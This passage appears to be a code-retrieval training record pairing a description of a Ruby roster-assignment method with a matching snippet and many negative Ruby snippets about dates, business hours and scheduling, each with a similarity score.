service.open_on_day? day\n if biz_days_count >= min_notice_days\n schedule = service.schedules.where(day: day.wday).first\n if schedule\n hours[day.strftime('%Y-%m-%d')] = {open: schedule.schedule_time_to_military_string(schedule.start_time), \n close: schedule.schedule_time_to_military_string(schedule.end_time)}\n end\n end\n biz_days_count += 1\n end\n day = day + 1.days \n end\n\n else #This user is registered with a service, but that service has not entered any hours\n\n (min_notice_days..max_notice_days).each do |n|\n unless (today + n).saturday? or (today + n).sunday?\n hours[(today + n).to_s] = {open: \"08:00\", close: \"17:00\"}\n end\n end\n\n end\n\n else #This user is logged in but isn't registered with a service\n\n (1..14).each do |n|\n unless (today + n).saturday? or (today + n).sunday?\n hours[(today + n).to_s] = {open: \"08:00\", close: \"17:00\"}\n end\n end\n\n end # if #traveler.user_profile.user_services.count > 0\n end # if @travler.is_visitor\n\n render status: 200, json: hours\n\n end",
"def alarm_clock_anna \n time = 30 \n until time == 45 \n puts \"Good Morning Anna, it's great to stay up late\"\n time += 5 \nend \nend",
"def set_ends_at\n return unless self.duration && self.starts_at\n self.ends_at = starts_at + duration.hours\n end",
"def hour_thc\n hour = @t_hour\n hour -= 12 if hour > 12\n return hour\n end",
"def first_hour=(hour)\n\t\tself.day_begins_at = Time.parse(hour)\n\tend",
"def beginning_of_day\n change(hour: 0)\n end",
"def ending_hour=(string)\n frm.select(:id=>\"retract_hour\").select(string)\n end",
"def reduce_schedule(day_sch, red_mult, start_red_hr, start_red_min, end_red_hr, end_red_min)\n start_time = OpenStudio::Time.new(0, start_red_hr, start_red_min, 0)\n end_time = OpenStudio::Time.new(0, end_red_hr, end_red_min, 0)\n\n # Get the original values at the desired start and end times\n # and put points into the schedule at those times.\n day_sch.addValue(start_time, day_sch.getValue(start_time))\n day_sch.addValue(end_time, day_sch.getValue(end_time))\n \n # Store the original time/values then clear the schedule\n times = day_sch.times\n values = day_sch.values\n day_sch.clearValues\n\n # Modify the time/values and add back to the schedule\n for i in 0..(values.length - 1)\n if times[i] > start_time and times[i] <= end_time # Inside range\n day_sch.addValue(times[i], values[i] * red_mult)\n else\n day_sch.addValue(times[i], values[i])\n end\n end\n\n end",
"def move_worktime_to_another_day(date, duration=0)\n person = self.presence.person\n presence = person.presences.find_by_presence_date(date)\n unless presence\n presence = person.presences.new\n presence.presence_date = date\n presence.company_id = person.company_id\n end\n presence.presence_length_in_hours += (self.end_working - self.start_working)/3600.to_f\n presence.paid_hours = presence.presence_length_in_hours\n self.save!\n end",
"def beginning_of_day\n #(self - seconds_since_midnight).change(:usec => 0)\n change(:hour => 0)\n end",
"def tock\n @minute += 1\n end",
"def schedule_repetition\n self.due = Date.today + interval\n self.studied_at = Date.today\n end",
"def set_delivery_hour\n @delivery_hour = DeliveryHour.find(params[:id])\n end",
"def schedule_impact\n if self.time_added?\n self.hours\n elsif time_removed?\n self.hours * -1.0\n else\n 0.0\n end\n end",
"def determine_current_hour\n\tcurrent_time = Time.new\n\tcurrent_hour = current_time.hour\nend"
] |
[
"0.64609694",
"0.60901266",
"0.60707915",
"0.6000169",
"0.5933242",
"0.59280235",
"0.591529",
"0.58783823",
"0.5825955",
"0.5728313",
"0.56997913",
"0.56943655",
"0.56943655",
"0.56451094",
"0.5637707",
"0.5607265",
"0.5589551",
"0.5553425",
"0.5539481",
"0.54963624",
"0.5486716",
"0.5482767",
"0.5466802",
"0.54559565",
"0.5434839",
"0.5428021",
"0.5424698",
"0.5418356",
"0.54124933",
"0.54065937",
"0.54064155",
"0.5394195",
"0.53876275",
"0.5381749",
"0.534191",
"0.5329674",
"0.5316575",
"0.5311721",
"0.53017884",
"0.52968895",
"0.52718383",
"0.5268511",
"0.5248453",
"0.5245375",
"0.5243499",
"0.52317554",
"0.52165616",
"0.52114004",
"0.5207745",
"0.51587826",
"0.51548135",
"0.5150141",
"0.51470226",
"0.51452905",
"0.5143386",
"0.51425123",
"0.5125435",
"0.51253563",
"0.51253563",
"0.51253563",
"0.51253563",
"0.51218796",
"0.5115483",
"0.51013714",
"0.5099013",
"0.5093832",
"0.50923985",
"0.5084794",
"0.5080986",
"0.5077937",
"0.506948",
"0.5065353",
"0.5054475",
"0.5049335",
"0.5042737",
"0.50410783",
"0.50365835",
"0.5035059",
"0.5033974",
"0.5033974",
"0.50303483",
"0.50258726",
"0.50194913",
"0.5012722",
"0.50090253",
"0.50054055",
"0.50012654",
"0.499286",
"0.49926043",
"0.49916947",
"0.49877745",
"0.49855796",
"0.4984727",
"0.49776718",
"0.4970572",
"0.49692526",
"0.49606133",
"0.49561056",
"0.4953516",
"0.49495572"
] |
0.5756575
|
9
|
The current assignment this method accounts for the switchover hour. This should be called while scoped to a particular roster.
|
def current
joins(:roster).on(effective_date)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hour_out\n @hour_out ||= time_out.hour\n end",
"def opening_hour\n 11\n end",
"def opening_hour\n 11 # 11am\n end",
"def set_happy_hour\n @happy_hour = HappyHour.find(params[:id])\n end",
"def set_working_hour\n @working_hour = WorkingHour.find(params[:id])\n end",
"def set_opening_hour\n if params[:id].present?\n @opening_hour = OpeningHour.find(params[:id])\n end\n end",
"def hourly_wage= (hourly_wage)\n # fill in later\n end",
"def hour\n set_function_and_argument(:hour, nil)\n end",
"def hour() end",
"def set_operating_hour\n @operating_hour = OperatingHour.find(params[:id])\n end",
"def set_work_hour\n @work_hour = WorkHour.find(params[:id])\n end",
"def adjust_for_happy_hour(preference)\n\n\t\tif($happy_hour and preference.quantity >= 2)\n\t\t\tpreference.price = preference.price/2\n\t\t\tpreference.save\n\t\t\tself.price -= preference.price\n\t\tend\n\n\t\tself.hh_flag = $happy_hour\n\n\t\tself.save\n\tend",
"def opponent\n\t\thomeaway=='H' ? self.contest.awaycontestant : self.contest.homecontestant\n\tend",
"def hour\n hour? ? at_hour : super\n end",
"def advance_contestants()\n #logger.debug \"Prior(s): #{all_priors.collect{|bc| bc.contestantcode}.inspect()}\"\n winning_team = self.homecontestant.win ? self.homecontestant.team : self.awaycontestant.team\n losing_team = self.homecontestant.loss ? self.homecontestant.team : self.awaycontestant.team\n self.all_priors().each{|bc| bc.team = bc.contestanttype==\"W\" ? winning_team : losing_team; bc.save! }\n end",
"def set_open_hour\n @open_hour = OpenHour.find(params[:id])\n end",
"def set_open_hour\n @open_hour = OpenHour.find(params[:id])\n end",
"def setHour(hour)\r\n\t\t\t\t\t@hour = hour\r\n\t\t\t\tend",
"def hours_per_week= (hours_per_week)\n # fill in later\n end",
"def take_over!(player)\n owner_inactive = owner.inactivity_time\n required_time = Cfg.alliance_take_over_owner_inactivity_time\n raise GameLogicError.new(\n \"Alliance owner has to be inactive for #{required_time\n } seconds but he is only inactive for #{owner_inactive\n } seconds, takeover not possible!\"\n ) if required_time > owner_inactive\n\n transfer_ownership!(player)\n end",
"def set_planned_hour\n @planned_hour = PlannedHour.find(params[:id])\n end",
"def approve_overtime(description = nil, driver = false)\n person = self.presence.person\n overtime = person.overtimes.find(:first, :conditions => ['start_overtime = ?', self.start_working])\n unless overtime\n hr_setting = HrSetting.first(:conditions => {:company_id => person.company_id})\n overtime = person.overtimes.new\n time_in_minutes = self.work_session_length_in_minutes\n period_in_minutes = hr_setting.period_in_minutes\n overtime.start_overtime = self.start_working\n overtime.end_overtime = self.end_working\n overtime.overtime_status = \"Approved\"\n overtime.overtime_description = description\n overtime.overtime_length_in_minutes = (time_in_minutes/period_in_minutes).floor * period_in_minutes\n overtime.company_id = person.company_id\n overtime.save!\n end\n if driver\n end\n end",
"def set_workhour\n @workhour = Workhour.find(params[:id])\n end",
"def give_hr\n monster_attackers.each do |attacker|\n if attacker.damage_done > 50 + attacker.player.hr && attacker.player.hr < 100\n attacker.player.update(hr: attacker.player.hr + 1)\n end\n end\n end",
"def happy_hour\n event_display(\"It's HAPPY HOUR! Everybody let's loose.\")\n group_event_hash_creator({soft_skills: 2, wellbeing: 2})\n end",
"def set_booked_hour\n @booked_hour = BookedHour.find(params[:id])\n end",
"def determine_current_hour\n\tcurrent_time = Time.new\n\tcurrent_hour = current_time.hour\nend",
"def total_timesheet\n if self.shifts.any?\n hours = self.shifts.sum(:time_worked)\n if hours > 40\n self.reg_hours = 40\n self.ot_hours = hours - 40\n ot_rate = job.pay_rate * 1.5\n self.gross_pay = job.pay_rate * self.reg_hours + self.ot_hours * ot_rate\n else\n pay = job.pay_rate * hours\n self.reg_hours = hours\n self.ot_hours = 0\n self.gross_pay = pay\n self.total_bill = pay * job.mark_up\n \n end\n end\n end",
"def set_hour\n @hour = Hour.find(params[:id])\n end",
"def set_recurring_available_hour\n \t@recurring_available_hour = RecurringAvailableHour.find(params[:id])\n \t@instructor = Instructor.find params[:instructor_id]\n end",
"def set_hour_created\n self.hour_created = Time.now.in_time_zone('Eastern Time (US & Canada)').hour\n end",
"def time_hour; Time.now.hour; end",
"def hour\n @hour ||= time_parts[0]\n end",
"def hour=(newhour)\n newhour = newhour.to_i\n raise ArgumentError, \"Invalid hour: '#{newhour}'.\" if newhour < 0 or newhour > 24\n @t_hour = newhour\n return self\n end",
"def end_of_hour\n change(:min => 59, :sec => 59)\n end",
"def hours\n\n today = Date.today\n hours = {}\n #if @traveler.is_visitor? or @traveler.is_api_guest? #Return a wide range of hours\n if not @traveler or not @traveler.registered?\n (0..30).each do |n|\n hours[(today + n).to_s] = {open: \"07:00\", close: \"22:00\"}\n end\n\n else # This is not a guest, check to see if the traveler is registered with a service\n\n # NOTE(wilsonj806) For now this implementation does not let registered users\n #...book trips on weekends. Eventually we want to change that so they can do so\n\n if @traveler.booking_profiles.count > 0 #This user is registered with a service\n booking_profile = @traveler.booking_profiles.first\n service = booking_profile.service\n\n min_notice_days = (service.booking_details[:min_days] || 2).to_i\n max_notice_days = (service.booking_details[:max_days] || 14).to_i\n\n \n if service.booking_details[:trusted_users] and booking_profile.external_user_id.in? service.booking_details.try(:[], :trusted_users).split(',').map{ |x| x.strip }\n (1..21).each do |n|\n hours[(today + n).to_s] = {open: \"00:00\", close: \"23:59\"}\n end\n elsif service.schedules.count > 0 #This user's service has listed hours. This is the most common case.\n \n #Find out if we are past the cutoff for today. If so, start counting from tomorrow\n if service.booking_details[:cutoff_time] and (Time.now.in_time_zone.seconds_since_midnight > service.booking_details[:cutoff_time].to_i)\n day = Time.now + 1.days \n else\n day = Time.now\n end\n \n biz_days_count = 0\n (0..max_notice_days).each do |n|\n if service.open_on_day? day\n if biz_days_count >= min_notice_days\n schedule = service.schedules.where(day: day.wday).first\n if schedule\n hours[day.strftime('%Y-%m-%d')] = {open: schedule.schedule_time_to_military_string(schedule.start_time), \n close: schedule.schedule_time_to_military_string(schedule.end_time)}\n end\n end\n biz_days_count += 1\n end\n day = day + 1.days \n end\n\n else #This user is registered with a service, but that service has not entered any hours\n\n (min_notice_days..max_notice_days).each do |n|\n unless (today + n).saturday? or (today + n).sunday?\n hours[(today + n).to_s] = {open: \"08:00\", close: \"17:00\"}\n end\n end\n\n end\n\n else #This user is logged in but isn't registered with a service\n\n (1..14).each do |n|\n unless (today + n).saturday? or (today + n).sunday?\n hours[(today + n).to_s] = {open: \"08:00\", close: \"17:00\"}\n end\n end\n\n end # if #traveler.user_profile.user_services.count > 0\n end # if @travler.is_visitor\n\n render status: 200, json: hours\n\n end",
"def won_set(player)\n if player.games_won >= 6 and player.opponent.games_won < 5\n player.sets_won += 1\n @player1.games_won = 0\n @player2.games_won = 0\n won_match(player)\n elsif player.games_won == 7\n player.sets_won += 1\n @player1.games_won = 0\n @player2.games_won = 0\n won_match(player)\n end\n end",
"def determine_current_hour\n current_time = Time.new\n current_hour = current_time.hour\nend",
"def add_not_committed_hours( packet )\n @not_committed += packet.worked_hours\n end",
"def hour\n @hour\n end",
"def set_officehour\r\n @officehour = Officehour.find(params[:id])\r\n end",
"def set_delivery_hour\n @delivery_hour = DeliveryHour.find(params[:id])\n end",
"def validate_hour_lock(time, schedule)\n hour = value || schedule.start_time.send(type)\n hour = 24 + hour if hour < 0\n if hour >= time.hour\n hour - time.hour\n else\n if dst_offset = TimeUtil.dst_change(time)\n hour - time.hour + dst_offset\n else\n 24 - time.hour + hour\n end\n end\n end",
"def set_overtime\n @overtime = Overtime.find(params[:id])\n end",
"def get_hour\n self.hr.strftime(\"%H\").to_i + self.hr.strftime(\"%M\").to_d/60\n end",
"def set_manager_hour\n @manager_hour = ManagerHour.find(params[:id])\n end",
"def hour_in\n @hour_in ||= time_in.hour\n end",
"def set_location_hour\n @location_hour = LocationHour.find(params[:id])\n end",
"def hour\n self.range('hour')\n end",
"def getHour\r\n\t\t\t\t\treturn @hour\r\n\t\t\t\tend",
"def hours\n \n end",
"def initialize(hours)\n @hatched = hours\n end",
"def succ\n next_hour = Hour.new(\"12 AM\")\n\n next_time = (@hour + 1) % 24\n next_hour.instance_eval { @hour = next_time }\n #puts \" succ called: next_hour is #{next_hour}, #{@hour}, #{next_time}\"\n next_hour\n end",
"def working_hours=(value)\n @working_hours = value\n end",
"def perform\n current_heat = 1\n LaneAssignment.transaction do\n @competition.age_group_entries.each do |ag_entry|\n age_group_entries = @competition.competitors.includes(members: [registrant: :registrant_choices]).select {|competitor| competitor.age_group_entry == ag_entry }\n current_heat = create_heats_from(age_group_entries, current_heat, num_lanes)\n end\n end\n end",
"def set_hours_registration\n @hours_registration = HoursRegistration.find(params[:id])\n end",
"def set_employee_workinghour\n @employee_workinghour = EmployeeWorkinghour.find(params[:id])\n end",
"def set_station_hour\n @station_hour = StationHour.find(params[:id])\n end",
"def correct_work_time\n work_time = WorkTime.find_or_initialize_by(employee_id: params[:employee_id])\n # redirects non-admin employee trying to see the other employee information to the home path/welcome page\n # also displays a notice \"Can't do that!\" once redirected\n redirect_to home_path, notice: \"Can't do that!\" unless ( work_time.employee_id == @current_user.id || admin_mode? )\n end",
"def attendability_for_pair(monday_hour, wednesday_hour)\n score_for_pair(monday_hour, wednesday_hour) == 0 ? 0 : 1\n end",
"def hours?\n @name == :hourly\n end",
"def hours\n _nudge[0]\n end",
"def advance_turn!\n\t\tboard_history << @board.clone\n\t\t@current_player = (@current_player == hunter ? @prey : @hunter)\n\t\t@current_turn += 1\n\tend",
"def advance_hours(hours)\n self + (hours * 60 * 60)\n end",
"def hour\n return @t_hour\n end",
"def hours_for_week(date)\n start_date = date.monday - 1.week - 1.day\n end_date = (date - 1.week).sunday - 1.day\n users_shifts = WorkshiftAssignment.where(workshifter_id: id,\n date: start_date..end_date)\n hours = 0\n users_shifts.each do |shift|\n hours += shift.hours * shift.hours_multiplier\n end\n hours - required_hours\n end",
"def hour_thc\n hour = @t_hour\n hour -= 12 if hour > 12\n return hour\n end",
"def tiredness (hours)\n if hours == 'ok'\n @rested += 1\n elsif hours == 'bad'\n @rested -= 1\n elsif hours == 'shit'\n @rested -= 5\n elsif hours == 'amazing'\n @rested += 5\n end\n end",
"def record_won_game!\n if @game_points >= 5 && @game_points >= @opponent.game_points + 2\n\n record_won_set!\n end\n end",
"def set_handover_way\n @handover_way = HandoverWay.find(params[:id])\n end",
"def calc_raw_hours(job, task_name, effort)\n if $op_cyclo\n ## The cyclo can be used instead of cyclo, the relationship depends on the coding style, but\n ## a linear seems to hold\n hour = 6*job.cyclo()\n else\n hour = job.each_loc()\n end\n\n hour = hour/effort.to_f\n\n ## Adjust to each product/company coding style (flatness)\n hour = hour * $op_coding_style\n\n hour = 1.5 if hour < 1.5 # .5 hour work is the min for each file\n\n return hour\n end",
"def on_assignment_completed(assignment)\n\t\t\ttally\n\t\tend",
"def auto_calories \n cals_per_hour = $calories_per_hour.fetch(activity,42)\n cals_per_hour\n end",
"def time_setup\n @player.profbirchhomeupstairs == 'first' ? @map[2][8] = 'other_icon' : nil\n end",
"def round_hours\n self.hours = self.hours.round_to_half\n self.impact = 'None' if self.hours == 0.0\n end",
"def show\n # authorize @timesheet\n @shifts = @timesheet.shifts.order(time_in: :desc)\n @employee = @timesheet.employee\n @job = @timesheet.job\n @last_complete_shift = @timesheet.shifts.clocked_out.last\n @current_shift = @timesheet.shifts.clocked_in.last if @timesheet.clocked_in?\n gon.timesheet = @timesheet\n gon.pay = @timesheet.gross_pay\n gon.status = @timesheet.shifts.last.state.titleize\n \n end",
"def rest(hours)\n\t\t#permanently add strength up to a point\n\t\thours.times do\n\t\t\tif @strength < 20\n\t\t\t\t@strength += rand(0..3)\n\t\t\t\tputs \"#{self.name} feels stronger!\"\n\t\t\tend\n\t\tend\n\t\t@caffeine_level = 51\n\tend",
"def hour\n components.hour\n end",
"def local_middle_of_day\n change_local(hour: 12)\n end",
"def set_day_hour\n @day_hour = DayHour.find(params[:id])\n end",
"def total_hours_per_week\n exsisting_shift_hour = Schedule.where(start_time: Date.today-7..Date.today, employee_id: self.employee_id).sum('shift_hour')\n current_shift_hour = self.id.present? ? 0 : (self.end_time - self.start_time)/3600\n if (current_shift_hour + exsisting_shift_hour) > 40\n errors.add(:start_time, 'must be less than equal to 40 per week')\n end\n end",
"def set_availibility_time_slot\n @availibility_time_slot = AvailibilityTimeSlot.find(params[:id])\n end",
"def assigned_car\n @car_assigned_trip==true\n end",
"def hours; self * HOUR; end",
"def rate\n calculator.hour_rate(worked_time).round(2)\n end",
"def match_over(winning_side)\n self.update!(status: \"over\")\n \n create_results(winning_side)\n end",
"def hours; self * HOUR; end",
"def occupy_room(room)\n room.occupied = 1\n end",
"def update_occupied_by(piece=nil)\n piece == nil ? @occupied_by = \" \" : @occupied_by = piece\n end",
"def battler_hue\n return 0\n end",
"def available_on?(day, hour)\n @availability[day].include?(hour)\n end",
"def car_arrived_home(car)\n if self.is_night?\n @hue.on(\"Porch\", @@HUE_FULL_BRIGHTNESS , @@HUE_WARM)\n end\n end",
"def set_hours_worked_from_shift_list\n self.hours_worked=shift_list.hours_worked\n self.save\n end",
"def hour() time[0] end",
"def change_time(hike_instance)\n system 'clear'\n puts \"-----MY HIKES-----\"\n hours = @prompt.ask(\"Enter time in hours: \", required: true, convert: :int) {|input| input.in('0-24')}\n minutes = 61\n while minutes > 60 || minutes < 0\n minutes = @prompt.ask(\"Enter time in minutes: \", required: true, convert: :int) {|input| input.in('0-60')}\n end\n hike_instance.time_hiked = (hours * 3600) + (minutes * 60)\n hike_instance.save\n puts \"New time saved.\"\n @prompt.keypress(\"Press any key to continue\")\n end",
"def set_equip_availability_schedule(runner, thermal_zone, new_sch, zone_equip)\n old_schedule = zone_equip.availabilitySchedule\n if compare_eflh(runner, old_schedule, new_sch)\n zone_equip.setAvailabilitySchedule(new_sch)\n runner.registerInfo(\"The availability schedule named #{old_schedule.name} for the #{zone_equip.iddObjectType.valueName} named #{zone_equip.name} has been replaced with a new schedule named #{new_sch.name} representing the occupancy profile of the thermal zone named #{thermal_zone.name}.\")\n return true\n else\n return false\n end\n end",
"def set_estimated_hour\n @estimated_hour = Estimated_hour.find(params[:id])\n end",
"def set_over_due(book)\n @borrowed_books[book.title.to_sym] = book\n time = Time.now - (60 * 60 * 24 * 30)\n\n @time_table[book.title.to_sym] = time\n puts \"#{book.title} is now set to overdue\"\n end",
"def once_per_hour &block\n\tcurrent_hour = Time.now.hour\n\n\tblock.call\n\t\nend",
"def schedule_impact\n if self.time_added?\n self.hours\n elsif time_removed?\n self.hours * -1.0\n else\n 0.0\n end\n end",
"def this_hour\n hour(Time.now)\n end"
] |
[
"0.59603393",
"0.5943339",
"0.5832089",
"0.56313914",
"0.5620044",
"0.5563373",
"0.5561458",
"0.5559353",
"0.55429476",
"0.55383974",
"0.5499064",
"0.5492002",
"0.5474442",
"0.54667956",
"0.54607135",
"0.5459859",
"0.5459859",
"0.541981",
"0.5401476",
"0.53561205",
"0.53242093",
"0.53141433",
"0.52866364",
"0.5272941",
"0.5256721",
"0.52532494",
"0.5249924",
"0.52382535",
"0.5235231",
"0.52139926",
"0.5194381",
"0.5191908",
"0.51910317",
"0.5175987",
"0.5173041",
"0.516616",
"0.5158449",
"0.5156496",
"0.5150104",
"0.51483613",
"0.51475936",
"0.51373893",
"0.51345974",
"0.5127025",
"0.512634",
"0.51210374",
"0.5113041",
"0.50956947",
"0.5075614",
"0.50743115",
"0.5055491",
"0.5037031",
"0.5036833",
"0.50283897",
"0.5028251",
"0.50208026",
"0.50180244",
"0.50152725",
"0.5011666",
"0.49841544",
"0.49790606",
"0.49625546",
"0.49441025",
"0.49390456",
"0.49340266",
"0.49290398",
"0.49286819",
"0.49252036",
"0.49243644",
"0.4922958",
"0.49204618",
"0.491411",
"0.49084997",
"0.4902162",
"0.49004248",
"0.48939112",
"0.4893153",
"0.48920995",
"0.48886925",
"0.48886922",
"0.48844206",
"0.48771057",
"0.48718333",
"0.48364672",
"0.48361808",
"0.4835902",
"0.48355684",
"0.48354197",
"0.4832886",
"0.48304167",
"0.48281187",
"0.48276886",
"0.48238727",
"0.48191047",
"0.48177198",
"0.48176175",
"0.48155606",
"0.4814909",
"0.48135912",
"0.4811161",
"0.4806492"
] |
0.0
|
-1
|
Returns the day AFTER the last assignment ends. If there is no last assignment, returns the upcoming Friday.
|
def next_rotation_start_date
last = order(:end_date).last
if last.present?
last.end_date + 1.day
else
1.week.since.beginning_of_week(:friday).to_date
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def end_of_week; self + (6 - wday).days end",
"def end_of_week\n 6.days.from_now(beginning_of_week).end_of_day\n end",
"def end_of_week\n (beginning_of_week+6).end_of_day\n end",
"def end_date\n Date.new((@number + 1), 1, 1).tuesday? ? Date.new((@number + 1), 1, 1) : Date.new(@number, 12, 31)\n end",
"def last_calendar_day\n @date.end_of_month.end_of_week(:sunday)\n end",
"def end_of_week\n @end_of_week ||= (start_of_week + 6)\n end",
"def ending_of_week\n if current_week.index(day) == 6\n self.class.new(year, month, current_week.last)\n elsif current_week.index(day) < 6\n if self.class == Date\n self + (6 - current_week.index(day))\n elsif self.class == Time\n self + (60 * 60 * 24 * (6 - current_week.index(day)))\n end\n end\n end",
"def date_end # originally date_start\n\tdate = Date.today\n\t(1..7).each do |n|\n\t\tdate = Date.today - n#.days\n\t\tbreak if date.wday == 6 # 0 = Sun, 1 = Mon ... 6 = Sat\n\tend\n\tdate\nend",
"def day_after day\r\n return convert_day_to_date(day).tomorrow.strftime('%Y%m%d')\r\n end",
"def end_date\n (Time.parse(@end_date).in_time_zone(@timezone).to_datetime if @end_date) || Date.today + 7.days\n end",
"def last_weekday(desired_weekday, month, year)\n days = days_in_month(year, month)\n day_of_month = days - (day_of_week(Date.new(year, month, days)) - desired_weekday + 7) % 7\n Date.new(year, month, day_of_month)\nend",
"def end_date\n weekday = end_of_month.cwday\n offset = weekday == 7 ? 0 : (7 - weekday).days\n end_of_month + offset\n end",
"def end_of_week(start_day = Date.beginning_of_week)\n last_hour(days_since(6 - days_to_week_start(start_day)))\n end",
"def last_day\n start_date + rental_days.days\n end",
"def end_of_week\n if current_week.index(self.day) == 6\n self.class.new(year,month,current_week.last)\n elsif current_week.index(self.day) < 6\n if self.class == Date\n self + (6 - current_week.index(self.day))\n elsif self.class == Time\n self + (60 * 60 * 24 * (6 - current_week.index(self.day)))\n end\n end\n end",
"def end_of_day\n to_time.end_of_day\n end",
"def friday\n day(:friday)\n end",
"def after_last_work(start)\n if @values[start.wday].last_hour.nil?\n return start.next_day\n else \n start = start + HOUR * (@values[start.wday].last_hour - start.hour)\n start = start + MINUTE * (@values[start.wday].last_min - start.min + 1)\n return start\n end \n end",
"def find_next_day\n day = @date.to_date + ((@schedule.start_date - @date.to_date) % @schedule.period_num)\n return day\n end",
"def end_date\n (created_at - 1.week).sunday - 1.day\n end",
"def day_end\n\t\tself.at_beginning_of_day + 86399.999999\n\tend",
"def deadline\n weekly ? self.created_at.sunday.beginning_of_day : self.created_at.end_of_day\n end",
"def next_weekday\n if next_day.on_weekend?\n next_week(:monday, same_time: true)\n else\n next_day\n end\n end",
"def next_weekday\n if next_day.on_weekend?\n next_week(:monday, same_time: true)\n else\n next_day\n end\n end",
"def finish_date\n if self.program_budge.nil?\n return nil\n elsif self.start_date.nil?\n return nil\n end\n duration=self.program_budge.duration_in_days\n default=self.start_date+duration.day\n \n if self.completed?\n #if already finished with level - return date they finished\n return self.last_completed_date.nil? ? default : self.last_completed_date\n else\n return default\n end\n end",
"def end_week\n end_date.strftime('%W').to_i\n end",
"def last_full_week(supply)\n friday = self.last_friday_with_readings(supply)\n friday.nil? ? nil : friday - 4.days..friday\n end",
"def last_business_day_of_month\n all_working_days_of_month.first\n end",
"def end_date\n return ends if support_deal.nil?\n self.ends ||= support_deal.end_date\n return support_deal.end_date < ends ? support_deal.end_date : ends\n end",
"def last_day\n @last_day ||= Date.new(year_number, month_number, -1)\n end",
"def get_next_date\n today_wday = Date.today.wday\n wday_s = get_weekday(limit_weekday_start)\n wday_e = get_weekday(limit_weekday_end)\n if(wday_s < wday_e)\n if(today_wday > wday_e or today_wday < wday_s or(today_wday == wday_s and Time.now.hour < limit_time_start) or (today_wday == wday_e and Time.now.hour > limit_time_end))\n need_day = (wday_s + 7 - today_wday)%7\n return Time.parse(limit_time_start.to_s + \":00\", Time.now + need_day.day), true\n else\n need_day = wday_e - today_wday\n return Time.parse(limit_time_end.to_s + \":00\", Time.now + need_day.day), false\n end\n else\n if((wday_e < today_wday and today_wday < wday_s) or (today_wday == wday_s and Time.now.hour < limit_time_start) or (today_wday == wday_e and Time.now.hour > limit_time_end))\n need_day = wday_s - today_wday\n return Time.parse(limit_time_start.to_s + \":00\", Time.now + need_day.day), true\n else\n need_day = (wday_e + 7 - today_wday)%7\n return Time.parse(limit_time_end.to_s + \":00\", Time.now + need_day.day), false\n end\n end\n end",
"def last_day\n @last_day ||= months.last.last_day\n end",
"def find_next_week\n if @schedule.days == 0\n date = @date + ((@schedule.start_date.wday - @date.wday) % 7) + (7 * ((@schedule.start_date - @date) % @schedule.period_num))\n return date\n else\n date = @date + find_next_in_bitmask(@schedule.days, @date.wday, 7)\n\n if @date.wday >= bitmask(@schedule.days).length\n date += periods_to_add * 7\n end\n\n return date\n end\n end",
"def end_of_day(date_time)\n unless working_day?(date_time)\n return end_of_day(previous_working_day(date_time))\n end\n work_time = to_work_time(date_time)\n work_day = to_work_day(date_time)\n if work_time < work_day.start_time\n return end_of_day(previous_working_day(to_modified_date_time(date_time, WorkTime.new(12, 0))))\n end\n return to_modified_date_time(date_time, work_day.end_time)\n end",
"def date_of_next(day)\n\t day_required = DateTime.parse(day)\n\t delta = day_required > DateTime.now ? 0 : 7\n\t (day_required + delta)\n\tend",
"def to_weekday_if_weekend(date)\n date += 1 if date.wday == 0\n date -= 1 if date.wday == 6\n date\n end",
"def local_end_of_day\n t = @time.getlocal\n t = Time.new(t.year, t.month, t.day, 23, 59, 59.999)\n VoltTime.from_time(t)\n end",
"def next_sunday(due_to_date)\n\t\t\tright_now = Time.zone.now\n\t\t\tright_now += 6.days if right_now <= due_to_date # approximation should be fine, ignore edge cases for now\n return right_now + (7 - right_now.wday).days + (22 - right_now.hour).hours + (0 - right_now.min).minutes + (0 - right_now.sec).second\n\t end",
"def estimated_end_date\n Date.today + remaining_days\n end",
"def sunday\n end_of_week(:monday)\n end",
"def max_exit_date\n local_range.end\n end",
"def get_week_day(date)\n # If date is in the future, use today's date\n date_to_use = date\n if date_to_use > Date.today\n date_to_use = Date.today\n end\n\n # If date is on weekend, get previous Friday\n offset = 0\n if date_to_use.wday == 0\n offset = 2\n end\n if date_to_use.wday == 6\n offset = 1\n end\n date_to_use - offset\n end",
"def effective_end_datetime\n end_date + 1.day + roster.switchover.minutes\n end",
"def inspection_shedule#(last_inspect_date)\n \t#self.inspection_at = Date.today\n if self.inspection_at.nil?\n else\n if self.rebuke == true\n next_inspect_at = self.inspection_at.next_day()\n else\n next_inspect_at = self.inspection_at.next_year()\n end\n if next_inspect_at.cwday == 6\n \tself.next_inspection_at = next_inspect_at.next_day(2)\n elsif next_inspect_at.cwday == 7\n \tself.next_inspection_at = next_inspect_at.next_day()\n else\n self.next_inspection_at = next_inspect_at\n end\n end\n end",
"def prev_weekday\n if prev_day.on_weekend?\n copy_time_to(beginning_of_week(:friday))\n else\n prev_day\n end\n end",
"def prev_weekday\n if prev_day.on_weekend?\n copy_time_to(beginning_of_week(:friday))\n else\n prev_day\n end\n end",
"def last_date\n\t\tlast_date_value = expected_end_date\n\t\tif last_report_aux = last_report\n\t\t\tif last_report_aux.created_at > expected_end_date\n\t\t\t\tlast_date_value = last_report_aux.created_at\n\t\t\tend\n\t\tend\n\n\t\tif Date.today > last_date_value\n\t\t\tlast_date_value = Date.today\n\t\tend\n\n\t\treturn last_date_value\n\tend",
"def test_should_return_fourth_and_last_day_of_month\n assert_equal Month.june(2004).fourth(:friday), Month.june(2004).last(:friday)\n end",
"def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n date + delta\n end",
"def date_of_next(day)\r\n date = Date.parse(day)\r\n delta = date > Date.today ? 0 : 7\r\n date + delta\r\nend",
"def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n date + delta\nend",
"def end_previous_assignment\n if self.employee.current_assignment != nil then \n current = self.employee.current_assignment\n current.end_date = self.start_date\n current.save!\n end\n end",
"def weekend\n [saturday, sunday]\n end",
"def test_should_return_last_day_of_month\n # test an ambiguous last, no weekday defined.\n assert_equal Month.december(2008).last, Date.new(2008,12,31)\n # test a specific last weekday.\n assert_equal Month.september(2004).last(:friday), Date.new(2004,9,24)\n # test a specific ambiguous, fourth, no weekday defined.\n assert_equal Month.june(2004).fourth(:friday), Date.new(2004,6,25)\n end",
